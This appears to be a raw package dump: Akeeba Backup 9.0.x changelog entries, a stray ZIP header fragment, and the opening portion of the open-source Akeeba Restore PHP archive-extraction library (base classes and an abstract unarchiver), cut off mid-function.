Akeeba Backup 9.0.3
================================================================================
# [MEDIUM] Joomla Filesystem API (File / Folder) doesn't work on some servers; preferring native PHP functions instead.
# [HIGH] Does not work on Windows on the latest Joomla 4 RC versions
# [HIGH] Some internal links do not work because of lower/uppercase mix in file names

Akeeba Backup 9.0.2
================================================================================
~ Prevent installation on Joomla 3.
# [HIGH] Core version, regression: Call to a member function rebaseFiltersToSiteDirs() on bool
# [HIGH] yet another last minute, undocumented, backwards incompatible change in Joomla is breaking things.
# [MEDIUM] Extensions not enabled automatically on installation.

Akeeba Backup 9.0.1
================================================================================
# [HIGH] Akeeba Backup Core: immediate error coming from the Dispatcher

Akeeba Backup 9.0.0
================================================================================
! Rewritten with Joomla 4 Core MVC and Bootstrap 5 styling
+ Reset the configuration and filters of backup profiles from the Profiles page
PK     \.''H 'H   restore.phpnu [        <?php
/**
 * Akeeba Kickstart
 * An AJAX-powered archive extraction tool
 *
 * @package   kickstart
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

define('_AKEEBA_RESTORATION', 1);
defined('DS') or define('DS', DIRECTORY_SEPARATOR);

// Unarchiver run states
define('AK_STATE_NOFILE', 0); // File header not read yet
define('AK_STATE_HEADER', 1); // File header read; ready to process data
define('AK_STATE_DATA', 2); // Processing file data
define('AK_STATE_DATAREAD', 3); // Finished processing file data; ready to post-process
define('AK_STATE_POSTPROC', 4); // Post-processing
define('AK_STATE_DONE', 5); // Done with post-processing

/* Windows system detection */
if (!defined('_AKEEBA_IS_WINDOWS'))
{
	if (function_exists('php_uname'))
	{
		define('_AKEEBA_IS_WINDOWS', stristr(php_uname(), 'windows'));
	}
	else
	{
		define('_AKEEBA_IS_WINDOWS', DIRECTORY_SEPARATOR == '\\');
	}
}

// Get the file's root
if (!defined('KSROOTDIR'))
{
	define('KSROOTDIR', __DIR__);
}
if (!defined('KSLANGDIR'))
{
	define('KSLANGDIR', KSROOTDIR);
}

// Make sure the locale is correct for basename() to work
if (function_exists('setlocale'))
{
	@setlocale(LC_ALL, 'en_US.UTF8');
}

// fnmatch not available on non-POSIX systems
// Thanks to soywiz@php.net for this usefull alternative function [http://gr2.php.net/fnmatch]
if (!function_exists('fnmatch'))
{
	function fnmatch($pattern, $string)
	{
		return @preg_match(
			'/^' . strtr(addcslashes($pattern, '/\\.+^$(){}=!<>|'),
				['*' => '.*', '?' => '.?']) . '$/i', $string
		);
	}
}

// Unicode-safe binary data length function
if (!function_exists('akstringlen'))
{
	if (function_exists('mb_strlen'))
	{
		function akstringlen($string)
		{
			return mb_strlen($string, '8bit');
		}
	}
	else
	{
		function akstringlen($string)
		{
			return strlen($string);
		}
	}
}

if (!function_exists('aksubstr'))
{
	if (function_exists('mb_strlen'))
	{
		function aksubstr($string, $start, $length = null)
		{
			return mb_substr($string, $start, $length, '8bit');
		}
	}
	else
	{
		function aksubstr($string, $start, $length = null)
		{
			return substr($string, $start, $length);
		}
	}
}

/**
 * Gets a query parameter from GET or POST data
 *
 * @param $key
 * @param $default
 */
function getQueryParam($key, $default = null)
{
	$value = $default;

	if (array_key_exists($key, $_REQUEST))
	{
		$value = $_REQUEST[$key];
	}

	return $value;
}

// Debugging function
function debugMsg($msg)
{
	if (!defined('KSDEBUG'))
	{
		return;
	}

	$fp = fopen('debug.txt', 'a');

	fwrite($fp, $msg . PHP_EOL);
	fclose($fp);

	// Echo to stdout if KSDEBUGCLI is defined
	if (defined('KSDEBUGCLI'))
	{
		echo $msg . "\n";
	}
}

/**
 * Invalidate a file in OPcache.
 *
 * Only applies if the file has a .php extension.
 *
 * @param   string  $file  The filepath to clear from OPcache
 *
 * @return  boolean
 * @since   7.1.0
 */
function clearFileInOPCache($file)
{
	static $hasOpCache = null;

	if (is_null($hasOpCache))
	{
		$hasOpCache = ini_get('opcache.enable')
			&& function_exists('opcache_invalidate')
			&& (!ini_get('opcache.restrict_api') || stripos(realpath($_SERVER['SCRIPT_FILENAME']), ini_get('opcache.restrict_api')) === 0);
	}

	if ($hasOpCache && (strtolower(substr($file, -4)) === '.php'))
	{
		return opcache_invalidate($file, true);
	}

	return false;
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * The base class of Akeeba Engine objects. Allows for error and warnings logging
 * and propagation. Largely based on the Joomla! 1.5 JObject class.
 */
abstract class AKAbstractObject
{
	/** @var    array    The queue size of the $_errors array. Set to 0 for infinite size. */
	protected $_errors_queue_size = 0;
	/** @var    array    The queue size of the $_warnings array. Set to 0 for infinite size. */
	protected $_warnings_queue_size = 0;
	/** @var    array    An array of errors */
	private $_errors = [];
	/** @var    array    An array of warnings */
	private $_warnings = [];

	/**
	 * Get the most recent error message
	 *
	 * @param    integer $i Optional error index
	 *
	 * @return    string    Error message
	 */
	public function getError($i = null)
	{
		return $this->getItemFromArray($this->_errors, $i);
	}

	/**
	 * Returns the last item of a LIFO string message queue, or a specific item
	 * if so specified.
	 *
	 * @param array $array An array of strings, holding messages
	 * @param int   $i     Optional message index
	 *
	 * @return mixed The message string, or false if the key doesn't exist
	 */
	private function getItemFromArray($array, $i = null)
	{
		// Find the item
		if ($i === null)
		{
			// Default, return the last item
			$item = end($array);
		}
		else if (!array_key_exists($i, $array))
		{
			// If $i has been specified but does not exist, return false
			return false;
		}
		else
		{
			$item = $array[$i];
		}

		return $item;
	}

	/**
	 * Return all errors, if any
	 *
	 * @return    array    Array of error messages
	 */
	public function getErrors()
	{
		return $this->_errors;
	}

	/**
	 * Resets all error messages
	 */
	public function resetErrors()
	{
		$this->_errors = [];
	}

	/**
	 * Get the most recent warning message
	 *
	 * @param    integer $i Optional warning index
	 *
	 * @return    string    Error message
	 */
	public function getWarning($i = null)
	{
		return $this->getItemFromArray($this->_warnings, $i);
	}

	/**
	 * Return all warnings, if any
	 *
	 * @return    array    Array of error messages
	 */
	public function getWarnings()
	{
		return $this->_warnings;
	}

	/**
	 * Resets all warning messages
	 */
	public function resetWarnings()
	{
		$this->_warnings = [];
	}

	/**
	 * Propagates errors and warnings to a foreign object. The foreign object SHOULD
	 * implement the setError() and/or setWarning() methods but DOESN'T HAVE TO be of
	 * AKAbstractObject type. For example, this can even be used to propagate to a
	 * JObject instance in Joomla!. Propagated items will be removed from ourselves.
	 *
	 * @param object $object The object to propagate errors and warnings to.
	 */
	public function propagateToObject(&$object)
	{
		// Skip non-objects
		if (!is_object($object))
		{
			return;
		}

		if (method_exists($object, 'setError'))
		{
			if (!empty($this->_errors))
			{
				foreach ($this->_errors as $error)
				{
					$object->setError($error);
				}
				$this->_errors = [];
			}
		}

		if (method_exists($object, 'setWarning'))
		{
			if (!empty($this->_warnings))
			{
				foreach ($this->_warnings as $warning)
				{
					$object->setWarning($warning);
				}
				$this->_warnings = [];
			}
		}
	}

	/**
	 * Propagates errors and warnings from a foreign object. Each propagated list is
	 * then cleared on the foreign object, as long as it implements resetErrors() and/or
	 * resetWarnings() methods.
	 *
	 * @param object $object The object to propagate errors and warnings from
	 */
	public function propagateFromObject(&$object)
	{
		if (method_exists($object, 'getErrors'))
		{
			$errors = $object->getErrors();
			if (!empty($errors))
			{
				foreach ($errors as $error)
				{
					$this->setError($error);
				}
			}
			if (method_exists($object, 'resetErrors'))
			{
				$object->resetErrors();
			}
		}

		if (method_exists($object, 'getWarnings'))
		{
			$warnings = $object->getWarnings();
			if (!empty($warnings))
			{
				foreach ($warnings as $warning)
				{
					$this->setWarning($warning);
				}
			}
			if (method_exists($object, 'resetWarnings'))
			{
				$object->resetWarnings();
			}
		}
	}

	/**
	 * Add an error message
	 *
	 * @param    string $error Error message
	 */
	public function setError($error)
	{
		if ($this->_errors_queue_size > 0)
		{
			if (count($this->_errors) >= $this->_errors_queue_size)
			{
				array_shift($this->_errors);
			}
		}

		$this->_errors[] = $error;
	}

	/**
	 * Add an error message
	 *
	 * @param    string $error Error message
	 */
	public function setWarning($warning)
	{
		if ($this->_warnings_queue_size > 0)
		{
			if (count($this->_warnings) >= $this->_warnings_queue_size)
			{
				array_shift($this->_warnings);
			}
		}

		$this->_warnings[] = $warning;
	}

	/**
	 * Sets the size of the error queue (acts like a LIFO buffer)
	 *
	 * @param int $newSize The new queue size. Set to 0 for infinite length.
	 */
	protected function setErrorsQueueSize($newSize = 0)
	{
		$this->_errors_queue_size = (int) $newSize;
	}

	/**
	 * Sets the size of the warnings queue (acts like a LIFO buffer)
	 *
	 * @param int $newSize The new queue size. Set to 0 for infinite length.
	 */
	protected function setWarningsQueueSize($newSize = 0)
	{
		$this->_warnings_queue_size = (int) $newSize;
	}

}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * The superclass of all Akeeba Kickstart parts. The "parts" are intelligent stateful
 * classes which perform a single procedure and have preparation, running and
 * finalization phases. The transition between phases is handled automatically by
 * this superclass' tick() final public method, which should be the ONLY public API
 * exposed to the rest of the Akeeba Engine.
 */
abstract class AKAbstractPart extends AKAbstractObject
{
	/**
	 * Indicates whether this part has finished its initialisation cycle
	 *
	 * @var boolean
	 */
	protected $isPrepared = false;

	/**
	 * Indicates whether this part has more work to do (it's in running state)
	 *
	 * @var boolean
	 */
	protected $isRunning = false;

	/**
	 * Indicates whether this part has finished its finalization cycle
	 *
	 * @var boolean
	 */
	protected $isFinished = false;

	/**
	 * Indicates whether this part has finished its run cycle
	 *
	 * @var boolean
	 */
	protected $hasRun = false;

	/**
	 * The name of the engine part (a.k.a. Domain), used in return table
	 * generation.
	 *
	 * @var string
	 */
	protected $active_domain = "";

	/**
	 * The step this engine part is in. Used verbatim in return table and
	 * should be set by the code in the _run() method.
	 *
	 * @var string
	 */
	protected $active_step = "";

	/**
	 * A more detailed description of the step this engine part is in. Used
	 * verbatim in return table and should be set by the code in the _run()
	 * method.
	 *
	 * @var string
	 */
	protected $active_substep = "";

	/**
	 * Any configuration variables, in the form of an array.
	 *
	 * @var array
	 */
	protected $_parametersArray = [];

	/** @var string The database root key */
	protected $databaseRoot = [];
	/** @var array An array of observers */
	protected $observers = [];
	/** @var int Last reported warnings's position in array */
	private $warnings_pointer = -1;

	/**
	 * The public interface to an engine part. This method takes care for
	 * calling the correct method in order to perform the initialisation -
	 * run - finalisation cycle of operation and return a proper response array.
	 *
	 * @return    array    A Response Array
	 */
	final public function tick()
	{
		// Call the right action method, depending on engine part state
		switch ($this->getState())
		{
			case "init":
				$this->_prepare();
				break;
			case "prepared":
				$this->_run();
				break;
			case "running":
				$this->_run();
				break;
			case "postrun":
				$this->_finalize();
				break;
		}

		// Send a Return Table back to the caller
		$out = $this->_makeReturnTable();

		return $out;
	}

	/**
	 * Returns the state of this engine part.
	 *
	 * @return string The state of this engine part. It can be one of
	 * error, init, prepared, running, postrun, finished.
	 */
	final public function getState()
	{
		if ($this->getError())
		{
			return "error";
		}

		if (!($this->isPrepared))
		{
			return "init";
		}

		if (!($this->isFinished) && !($this->isRunning) && !($this->hasRun) && ($this->isPrepared))
		{
			return "prepared";
		}

		if (!($this->isFinished) && $this->isRunning && !($this->hasRun))
		{
			return "running";
		}

		if (!($this->isFinished) && !($this->isRunning) && $this->hasRun)
		{
			return "postrun";
		}

		if ($this->isFinished)
		{
			return "finished";
		}
	}

	/**
	 * Runs the preparation for this part. Should set _isPrepared
	 * to true
	 */
	abstract protected function _prepare();

	/**
	 * Runs the main functionality loop for this part. Upon calling,
	 * should set the _isRunning to true. When it finished, should set
	 * the _hasRan to true. If an error is encountered, setError should
	 * be used.
	 */
	abstract protected function _run();

	/**
	 * Runs the finalisation process for this part. Should set
	 * _isFinished to true.
	 */
	abstract protected function _finalize();

	/**
	 * Constructs a Response Array based on the engine part's state.
	 *
	 * @return array The Response Array for the current state
	 */
	final protected function _makeReturnTable()
	{
		// Get a list of warnings
		$warnings = $this->getWarnings();
		// Report only new warnings if there is no warnings queue size
		if ($this->_warnings_queue_size == 0)
		{
			if (($this->warnings_pointer > 0) && ($this->warnings_pointer < (count($warnings))))
			{
				$warnings = array_slice($warnings, $this->warnings_pointer + 1);
				$this->warnings_pointer += count($warnings);
			}
			else
			{
				$this->warnings_pointer = count($warnings);
			}
		}

		$out = [
			'HasRun'   => (!($this->isFinished)),
			'Domain'   => $this->active_domain,
			'Step'     => $this->active_step,
			'Substep'  => $this->active_substep,
			'Error'    => $this->getError(),
			'Warnings' => $warnings
		];

		return $out;
	}

	/**
	 * Returns a copy of the class's status array
	 *
	 * @return array
	 */
	public function getStatusArray()
	{
		return $this->_makeReturnTable();
	}

	/**
	 * Sends any kind of setup information to the engine part. Using this,
	 * we avoid passing parameters to the constructor of the class. These
	 * parameters should be passed as an indexed array and should be taken
	 * into account during the preparation process only. This function will
	 * set the error flag if it's called after the engine part is prepared.
	 *
	 * @param array $parametersArray The parameters to be passed to the
	 *                               engine part.
	 */
	final public function setup($parametersArray)
	{
		if ($this->isPrepared)
		{
			$this->setState('error', "Can't modify configuration after the preparation of " . $this->active_domain);
		}
		else
		{
			$this->_parametersArray = $parametersArray;
			if (array_key_exists('root', $parametersArray))
			{
				$this->databaseRoot = $parametersArray['root'];
			}
		}
	}

	/**
	 * Sets the engine part's internal state, in an easy to use manner
	 *
	 * @param    string $state        One of init, prepared, running, postrun, finished, error
	 * @param    string $errorMessage The reported error message, should the state be set to error
	 */
	protected function setState($state = 'init', $errorMessage = 'Invalid setState argument')
	{
		switch ($state)
		{
			case 'init':
				$this->isPrepared = false;
				$this->isRunning  = false;
				$this->isFinished = false;
				$this->hasRun     = false;
				break;

			case 'prepared':
				$this->isPrepared = true;
				$this->isRunning  = false;
				$this->isFinished = false;
				$this->hasRun     = false;
				break;

			case 'running':
				$this->isPrepared = true;
				$this->isRunning  = true;
				$this->isFinished = false;
				$this->hasRun     = false;
				break;

			case 'postrun':
				$this->isPrepared = true;
				$this->isRunning  = false;
				$this->isFinished = false;
				$this->hasRun     = true;
				break;

			case 'finished':
				$this->isPrepared = true;
				$this->isRunning  = false;
				$this->isFinished = true;
				$this->hasRun     = false;
				break;

			case 'error':
			default:
				$this->setError($errorMessage);
				break;
		}
	}

	final public function getDomain()
	{
		return $this->active_domain;
	}

	final public function getStep()
	{
		return $this->active_step;
	}

	final public function getSubstep()
	{
		return $this->active_substep;
	}

	/**
	 * Attaches an observer object
	 *
	 * @param AKAbstractPartObserver $obs
	 */
	function attach(AKAbstractPartObserver $obs)
	{
		$this->observers["$obs"] = $obs;
	}

	/**
	 * Detaches an observer object
	 *
	 * @param AKAbstractPartObserver $obs
	 */
	function detach(AKAbstractPartObserver $obs)
	{
		unset($this->observers["$obs"]);
	}

	/**
	 * Sets the BREAKFLAG, which instructs this engine part that the current step must break immediately,
	 * in fear of timing out.
	 */
	protected function setBreakFlag()
	{
		AKFactory::set('volatile.breakflag', true);
	}

	final protected function setDomain($new_domain)
	{
		$this->active_domain = $new_domain;
	}

	final protected function setStep($new_step)
	{
		$this->active_step = $new_step;
	}

	final protected function setSubstep($new_substep)
	{
		$this->active_substep = $new_substep;
	}

	/**
	 * Notifies observers each time something interesting happened to the part
	 *
	 * @param mixed $message The event object
	 */
	protected function notify($message)
	{
		foreach ($this->observers as $obs)
		{
			$obs->update($this, $message);
		}
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * The base class of unarchiver classes
 */
abstract class AKAbstractUnarchiver extends AKAbstractPart
{
	/** @var array List of the names of all archive parts */
	public $archiveList = [];
	/** @var int The total size of all archive parts */
	public $totalSize = [];
	/** @var array Which files to rename */
	public $renameFiles = [];
	/** @var array Which directories to rename */
	public $renameDirs = [];
	/** @var array Which files to skip */
	public $skipFiles = [];
	/** @var string Archive filename */
	protected $filename = null;
	/** @var integer Current archive part number */
	protected $currentPartNumber = -1;
	/** @var integer The offset inside the current part */
	protected $currentPartOffset = 0;
	/** @var bool Should I restore permissions? */
	protected $flagRestorePermissions = false;
	/** @var AKAbstractPostproc Post processing class */
	protected $postProcEngine = null;
	/** @var string Absolute path to prepend to extracted files */
	protected $addPath = '';
	/** @var string Absolute path to remove from extracted files */
	protected $removePath = '';
	/** @var integer Chunk size for processing */
	protected $chunkSize = 524288;

	/** @var resource File pointer to the current archive part file */
	protected $fp = null;

	/** @var int Run state when processing the current archive file */
	protected $runState = null;

	/** @var stdClass File header data, as read by the readFileHeader() method */
	protected $fileHeader = null;

	/** @var int How much of the uncompressed data we've read so far */
	protected $dataReadLength = 0;

	/** @var array Unwriteable files in these directories are always ignored and do not cause errors when not extracted */
	protected $ignoreDirectories = [];

	/**
	 * Wakeup function, called whenever the class is unserialized
	 */
	public function __wakeup()
	{
		if ($this->currentPartNumber >= 0)
		{
			$this->fp = @fopen($this->archiveList[$this->currentPartNumber], 'r');

			if ((is_resource($this->fp)) && ($this->currentPartOffset > 0))
			{
				@fseek($this->fp, $this->currentPartOffset);
			}
		}
	}

	/**
	 * Sleep function, called whenever the class is serialized
	 */
	public function shutdown()
	{
		if (is_resource($this->fp))
		{
			$this->currentPartOffset = @ftell($this->fp);
			@fclose($this->fp);
		}
	}

	/**
	 * Is this file or directory contained in a directory we've decided to ignore
	 * write errors for? This is useful to let the extraction work despite write
	 * errors in the log, logs and tmp directories which MIGHT be used by the system
	 * on some low quality hosts and Plesk-powered hosts.
	 *
	 * @param   string $shortFilename The relative path of the file/directory in the package
	 *
	 * @return  boolean  True if it belongs in an ignored directory
	 */
	public function isIgnoredDirectory($shortFilename)
	{
		// return false;

		if (substr($shortFilename, -1) == '/')
		{
			$check = rtrim($shortFilename, '/');
		}
		else
		{
			$check = dirname($shortFilename);
		}

		return in_array($check, $this->ignoreDirectories);
	}

	/**
	 * Implements the abstract _prepare() method
	 */
	final protected function _prepare()
	{
		if (count($this->_parametersArray) > 0)
		{
			foreach ($this->_parametersArray as $key => $value)
			{
				switch ($key)
				{
					// Archive's absolute filename
					case 'filename':
						$this->filename = $value;

						// Sanity check
						if (!empty($value))
						{
							$value = strtolower($value);

							if (strlen($value) > 6)
							{
								if (
									(substr($value, 0, 7) == 'http://')
									|| (substr($value, 0, 8) == 'https://')
									|| (substr($value, 0, 6) == 'ftp://')
									|| (substr($value, 0, 7) == 'ssh2://')
									|| (substr($value, 0, 6) == 'ssl://')
								)
								{
									$this->setState('error', 'Invalid archive location');
								}
							}
						}


						break;

					// Should I restore permissions?
					case 'restore_permissions':
						$this->flagRestorePermissions = $value;
						break;

					// Should I use FTP?
					case 'post_proc':
						$this->postProcEngine = AKFactory::getpostProc($value);
						break;

					// Path to add in the beginning
					case 'add_path':
						$this->addPath = $value;
						$this->addPath = str_replace('\\', '/', $this->addPath);
						$this->addPath = rtrim($this->addPath, '/');
						if (!empty($this->addPath))
						{
							$this->addPath .= '/';
						}
						break;

					// Path to remove from the beginning
					case 'remove_path':
						$this->removePath = $value;
						$this->removePath = str_replace('\\', '/', $this->removePath);
						$this->removePath = rtrim($this->removePath, '/');
						if (!empty($this->removePath))
						{
							$this->removePath .= '/';
						}
						break;

					// Which files to rename (hash array)
					case 'rename_files':
						$this->renameFiles = $value;
						break;

					// Which files to rename (hash array)
					case 'rename_dirs':
						$this->renameDirs = $value;
						break;

					// Which files to skip (indexed array)
					case 'skip_files':
						$this->skipFiles = $value;
						break;

					// Which directories to ignore when we can't write files in them (indexed array)
					case 'ignoredirectories':
						$this->ignoreDirectories = $value;
						break;
				}
			}
		}

		$this->scanArchives();

		$this->readArchiveHeader();
		$errMessage = $this->getError();
		if (!empty($errMessage))
		{
			$this->setState('error', $errMessage);
		}
		else
		{
			$this->runState = AK_STATE_NOFILE;
			$this->setState('prepared');
		}
	}

	/**
	 * Scans for archive parts
	 */
	private function scanArchives()
	{
		if (defined('KSDEBUG'))
		{
			@unlink('debug.txt');
		}
		debugMsg('Preparing to scan archives');

		$privateArchiveList = [];

		// Get the components of the archive filename
		$dirname         = dirname($this->filename);
		$base_extension  = $this->getBaseExtension();
		$basename        = basename($this->filename, $base_extension);
		$this->totalSize = 0;

		// Scan for multiple parts until we don't find any more of them
		$count             = 0;
		$found             = true;
		$this->archiveList = [];
		while ($found)
		{
			++$count;
			$extension = substr($base_extension, 0, 2) . sprintf('%02d', $count);
			$filename  = $dirname . DIRECTORY_SEPARATOR . $basename . $extension;
			$found     = file_exists($filename);
			if ($found)
			{
				debugMsg('- Found archive ' . $filename);
				// Add yet another part, with a numeric-appended filename
				$this->archiveList[] = $filename;

				$filesize = @filesize($filename);
				$this->totalSize += $filesize;

				$privateArchiveList[] = [$filename, $filesize];
			}
			else
			{
				debugMsg('- Found archive ' . $this->filename);
				// Add the last part, with the regular extension
				$this->archiveList[] = $this->filename;

				$filename = $this->filename;
				$filesize = @filesize($filename);
				$this->totalSize += $filesize;

				$privateArchiveList[] = [$filename, $filesize];
			}
		}
		debugMsg('Total archive parts: ' . $count);

		$this->currentPartNumber = -1;
		$this->currentPartOffset = 0;
		$this->runState          = AK_STATE_NOFILE;

		// Send start of file notification
		$message                     = new stdClass;
		$message->type               = 'totalsize';
		$message->content            = new stdClass;
		$message->content->totalsize = $this->totalSize;
		$message->content->filelist  = $privateArchiveList;
		$this->notify($message);
	}

	/**
	 * Returns the base extension of the file, e.g. '.jpa'
	 *
	 * @return string
	 */
	private function getBaseExtension()
	{
		static $baseextension;

		if (empty($baseextension))
		{
			$basename      = basename($this->filename);
			$lastdot       = strrpos($basename, '.');
			$baseextension = substr($basename, $lastdot);
		}

		return $baseextension;
	}

	/**
	 * Concrete classes are supposed to use this method in order to read the archive's header and
	 * prepare themselves to the point of being ready to extract the first file.
	 */
	protected abstract function readArchiveHeader();

	protected function _run()
	{
		if ($this->getState() == 'postrun')
		{
			return;
		}

		$this->setState('running');

		$timer = AKFactory::getTimer();

		$status = true;
		while ($status && ($timer->getTimeLeft() > 0))
		{
			switch ($this->runState)
			{
				case AK_STATE_NOFILE:
					debugMsg(self::class . '::_run() - Reading file header');
					$status = $this->readFileHeader();
					if ($status)
					{
						// Send start of file notification
						$message                        = new stdClass;
						$message->type                  = 'startfile';
						$message->content               = new stdClass;
						$message->content->realfile     = $this->fileHeader->file;
						$message->content->file         = $this->fileHeader->file;
						$message->content->uncompressed = $this->fileHeader->uncompressed;

						if (array_key_exists('realfile', get_object_vars($this->fileHeader)))
						{
							$message->content->realfile = $this->fileHeader->realFile;
						}

						if (array_key_exists('compressed', get_object_vars($this->fileHeader)))
						{
							$message->content->compressed = $this->fileHeader->compressed;
						}
						else
						{
							$message->content->compressed = 0;
						}

						debugMsg(self::class . '::_run() - Preparing to extract ' . $message->content->realfile);

						$this->notify($message);
					}
					else
					{
						debugMsg(self::class . '::_run() - Could not read file header');
					}
					break;

				case AK_STATE_HEADER:
				case AK_STATE_DATA:
					debugMsg(self::class . '::_run() - Processing file data');
					$status = $this->processFileData();
					break;

				case AK_STATE_DATAREAD:
				case AK_STATE_POSTPROC:
					debugMsg(self::class . '::_run() - Calling post-processing class');
					$this->postProcEngine->timestamp = $this->fileHeader->timestamp;
					$status                          = $this->postProcEngine->process();
					$this->propagateFromObject($this->postProcEngine);
					$this->runState = AK_STATE_DONE;
					break;

				case AK_STATE_DONE:
				default:
					if ($status)
					{
						debugMsg(self::class . '::_run() - Finished extracting file');
						// Send end of file notification
						$message          = new stdClass;
						$message->type    = 'endfile';
						$message->content = new stdClass;
						if (array_key_exists('realfile', get_object_vars($this->fileHeader)))
						{
							$message->content->realfile = $this->fileHeader->realFile;
						}
						else
						{
							$message->content->realfile = $this->fileHeader->file;
						}
						$message->content->file = $this->fileHeader->file;
						if (array_key_exists('compressed', get_object_vars($this->fileHeader)))
						{
							$message->content->compressed = $this->fileHeader->compressed;
						}
						else
						{
							$message->content->compressed = 0;
						}
						$message->content->uncompressed = $this->fileHeader->uncompressed;
						$this->notify($message);
					}
					$this->runState = AK_STATE_NOFILE;

					break;
			}
		}

		$error = $this->getError();

		if (!$status && ($this->runState == AK_STATE_NOFILE) && empty($error))
		{
			debugMsg(self::class . '::_run() - Just finished');
			// We just finished
			$this->setState('postrun');

			// Reset internal state, prevents __wakeup from trying to open a non-existent file
			$this->currentPartNumber = -1;
		}
		elseif (!empty($error))
		{
			debugMsg(self::class . '::_run() - Halted with an error:');
			debugMsg($error);
			$this->setState('error', $error);
		}
	}

	/**
	 * Concrete classes must use this method to read the file header
	 *
	 * @return bool True if reading the file was successful, false if an error occurred or we reached end of archive
	 */
	protected abstract function readFileHeader();

	/**
	 * Concrete classes must use this method to process file data. It must set $runState to AK_STATE_DATAREAD when
	 * it's finished processing the file data.
	 *
	 * @return bool True if processing the file data was successful, false if an error occurred
	 */
	protected abstract function processFileData();

	protected function _finalize()
	{
		// Nothing to do
		$this->setState('finished');
	}

	/**
	 * Opens the next part file for reading
	 */
	protected function nextFile()
	{
		debugMsg('Current part is ' . $this->currentPartNumber . '; opening the next part');
		++$this->currentPartNumber;

		if ($this->currentPartNumber > (count($this->archiveList) - 1))
		{
			$this->setState('postrun');

			return false;
		}
		else
		{
			if (is_resource($this->fp))
			{
				@fclose($this->fp);
			}
			debugMsg('Opening file ' . $this->archiveList[$this->currentPartNumber]);
			$this->fp = @fopen($this->archiveList[$this->currentPartNumber], 'r');
			if ($this->fp === false)
			{
				debugMsg('Could not open file - crash imminent');
				$this->setError(AKText::sprintf('ERR_COULD_NOT_OPEN_ARCHIVE_PART', $this->archiveList[$this->currentPartNumber]));
			}
			fseek($this->fp, 0);
			$this->currentPartOffset = 0;

			return true;
		}
	}

	/**
	 * Returns true if we have reached the end of file
	 *
	 * @param $local bool True to return EOF of the local file, false (default) to return if we have reached the end of
	 *               the archive set
	 *
	 * @return bool True if we have reached End Of File
	 */
	protected function isEOF($local = false)
	{
		$eof = @feof($this->fp);

		if (!$eof)
		{
			// Border case: right at the part's end (eeeek!!!). For the life of me, I don't understand why
			// feof() doesn't report true. It expects the fp to be positioned *beyond* the EOF to report
			// true. Incredible! :(
			$position = @ftell($this->fp);
			$filesize = @filesize($this->archiveList[$this->currentPartNumber]);
			if ($filesize <= 0)
			{
				// 2Gb or more files on a 32 bit version of PHP tend to get screwed up. Meh.
				$eof = false;
			}
			elseif ($position >= $filesize)
			{
				$eof = true;
			}
		}

		if ($local)
		{
			return $eof;
		}
		else
		{
			return $eof && ($this->currentPartNumber >= (count($this->archiveList) - 1));
		}
	}

	/**
	 * Tries to make a directory user-writable so that we can write a file to it
	 *
	 * @param $path string A path to a file
	 */
	protected function setCorrectPermissions($path)
	{
		static $rootDir = null;

		if (is_null($rootDir))
		{
			$rootDir = rtrim(AKFactory::get('kickstart.setup.destdir', ''), '/\\');
		}

		$directory = rtrim(dirname($path), '/\\');
		if ($directory != $rootDir)
		{
			// Is this an unwritable directory?
			if (!is_writeable($directory))
			{
				$this->postProcEngine->chmod($directory, 0755);
			}
		}
		$this->postProcEngine->chmod($path, 0644);
	}

	/**
	 * Reads data from the archive and notifies the observer with the 'reading' message
	 *
	 * @param $fp
	 * @param $length
	 */
	protected function fread($fp, $length = null)
	{
		if (is_numeric($length))
		{
			if ($length > 0)
			{
				$data = fread($fp, $length);
			}
			else
			{
				$data = fread($fp, PHP_INT_MAX);
			}
		}
		else
		{
			$data = fread($fp, PHP_INT_MAX);
		}
		if ($data === false)
		{
			$data = '';
		}

		// Send start of file notification
		$message                  = new stdClass;
		$message->type            = 'reading';
		$message->content         = new stdClass;
		$message->content->length = strlen($data);
		$this->notify($message);

		return $data;
	}

	/**
	 * Removes the configured $removePath from the path $path
	 *
	 * @param   string $path The path to reduce
	 *
	 * @return  string  The reduced path
	 */
	protected function removePath($path)
	{
		if (empty($this->removePath))
		{
			return $path;
		}

		if (strpos($path, $this->removePath) === 0)
		{
			$path = substr($path, strlen($this->removePath));
			$path = ltrim($path, '/\\');
		}

		return $path;
	}

	/**
	 * Am I supposed to skip the extraction of the current file? This depends on
	 *
	 * @return bool
	 */
	protected function mustSkip()
	{
		static $isDryRun = null;

		// List of files (and patterns) to extract
		static $extractList = null;

		// Internal cache of the last file we checked and whether it must be skipped
		static $lastFileName = '';
		static $mustSkip = false;

		// Make sure the dry run flag is, indeed, populated
		if (is_null($isDryRun))
		{
			$isDryRun = AKFactory::get('kickstart.setup.dryrun', '0');
		}

		// If it's a Kickstart dry run we have to skip the extraction of the file
		if ($isDryRun)
		{
			return true;
		}

		// Make sure I have a list of files and patterns to extract
		if (is_null($extractList))
		{
			$extractList = $this->getExtractList();
		}

		// No list of files to extract is given; we must extract everything.
		if (empty($extractList))
		{
			return false;
		}

		// I am asked about the same file again. Return the cached result.
		if ($this->fileHeader->file == $lastFileName)
		{
			return $mustSkip;
		}

		// Does the current file match the extract patterns or not?
		$lastFileName = $this->fileHeader->file;
		$lastFileName = (strpos($lastFileName, $this->addPath) === 0) ? substr($lastFileName, strlen(rtrim($this->addPath, "\\/")) + 1) : $lastFileName;
		$mustSkip     = !$this->matchesGlobPatterns($lastFileName, $extractList);

		return $mustSkip;
	}

	protected function fuzzySignatureSearch($requiredSignatures, $sigLen)
	{
